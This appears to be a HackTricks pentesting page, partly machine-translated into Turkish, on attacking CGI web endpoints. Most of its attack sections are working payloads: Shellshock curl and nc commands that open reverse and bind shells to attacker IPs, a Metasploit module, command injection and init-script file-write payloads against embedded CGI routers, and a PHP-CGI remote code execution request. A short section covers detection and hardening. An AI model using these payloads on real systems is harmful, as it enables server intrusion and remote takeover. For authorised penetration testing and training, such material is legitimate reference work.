CGI Pentesting
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bilgi
The CGI scripts are perl scripts, bu nedenle .cgi dosyalarını çalıştırabilen bir sunucuyu ele geçirdiyseniz bir perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
) yükleyebilir, uzantıyı .pl'den .cgi'ye değiştirip, çalıştırma izinleri verebilir (chmod +x
) ve ters kabuğa web tarayıcısından erişip çalıştırabilirsiniz.
CGI zafiyetlerini test etmek için nikto -C all
(ve tüm eklentiler) kullanılması önerilir.
ShellShock
ShellShock, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan Bash komut satırı kabuğunu etkileyen bir vulnerability'dir. Bash'in uygulamalar tarafından geçirilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan environment variables'ların manipülasyonunda yatar. Saldırganlar, environment variables'a kötü amaçlı kod ekleyerek bunu sömürebilir; değişken alındığında eklenen kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır.
Bu zafiyeti sömürürken sayfa bir hata döndürebilir.
Bu zafiyeti, eski bir Apache sürümü ve cgi_mod (cgi klasörü ile) kullanıldığını fark ederek veya nikto ile bulabilirsiniz.
Test
Çoğu test, echo
ile bir şey yazdırmaya dayanır ve o dizein web yanıtında döndürülmesi beklenir. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayıp test edin.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (yansıtmalı, kör ve out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Merkezi CGI yönlendiricileri (seçici parametrelerle tek uç noktadan yönlendirme)
Birçok gömülü web UI'si, tek bir CGI uç noktasının (ör. /cgi-bin/cstecgi.cgi
) arkasında onlarca ayrıcalıklı işlemi çoklayıp, isteği dahili bir fonksiyona yönlendirmek için topicurl=<handler>
gibi bir seçici parametre kullanır.
Bu yönlendiricileri exploit etme metodolojisi:
- Enumerate handler names: JS/HTML kazı, wordlist'lerle brute-force yap, veya firmware'i unpack edip dispatcher tarafından kullanılan handler dizelerini grep ile ara.
- Test unauthenticated reachability: bazı handler'lar auth kontrollerini atlıyor ve doğrudan çağrılabiliyor.
- Sistem yardımcı programlarını invoke eden veya dosyalara touch yapan handler'lara odaklan; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve baştaki tire
-
'yi kaçırabilir.
Genel exploit şekilleri:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>¶m=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
Tespit ve güçlendirme:
- Merkezi CGI uç noktalarına
topicurl
'ün hassas işleyicilere ayarlanmış olarak gelen kimlik doğrulanmamış istekleri izleyin. - Başında
-
ile başlayan parametreleri işaretleyin (argv option injection attempts). - Tedarikçiler: tüm durum-değiştiren işleyicilerde kimlik doğrulamasını zorunlu kılın, sıkı izin listeleri/tipler/uzunluklar kullanarak doğrulayın ve kullanıcı kontrollü dizeleri asla komut satırı bayrakları olarak iletmeyin.
Eski PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Temelde eğer cgi etkinse ve php "eski" (<5.3.12 / < 5.4.2) ise kod çalıştırabilirsiniz.
Bu açığı istismar etmek için web sunucusunun bazı PHP dosyalarına parametre göndermeden erişmeniz gerekir (özellikle "=" karakteri göndermeden).
Daha sonra, bu açığı test etmek için örneğin /index.php?-s
(bkz. -s
) adresine erişebilirsiniz ve uygulamanın kaynak kodu yanıt içinde görünecektir.
Ardından, RCE elde etmek için şu özel sorguyu gönderebilirsiniz: /?-d allow_url_include=1 -d auto_prepend_file=php://input
ve çalıştırılacak PHP kodu isteğin gövdesinde olacak. Örnek:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Zafiyet ve olası exploitler hakkında daha fazla bilgi: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Proxy (MitM Web sunucu istekleri için)
CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.
HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. Oturum sırasında sunucu herhangi bir istek yaparsa, Proxy: <IP_attacker>:<PORT> içeren bir header göndermeyi deneyin; böylece sunucunun yaptığı her isteği yakalayabilirsiniz.
References
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.